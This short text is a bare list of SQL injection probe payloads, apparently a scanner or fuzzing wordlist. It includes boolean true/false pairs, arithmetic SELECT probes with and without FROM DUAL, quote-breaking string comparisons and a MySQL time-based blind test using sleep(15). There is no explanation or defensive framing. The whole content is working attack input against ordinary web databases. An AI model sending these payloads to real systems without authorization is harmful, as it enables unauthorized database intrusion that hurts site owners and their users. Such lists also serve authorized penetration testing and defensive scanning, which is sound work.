-1" OR 5*5=25 --

(select 198766*667891)

-1" OR 5*5=26 --

(select 198766*667891 from DUAL)

-1' OR 5*5=25 or '1qN6CvoQ'='

-1' OR 5*5=26 or '1qN6CvoQ'='

-1" OR 5*5=25 or "vNtJcHEP"="

-1" OR 5*5=26 or "vNtJcHEP"="

1

555*if(now()=sysdate(),sleep(15),0)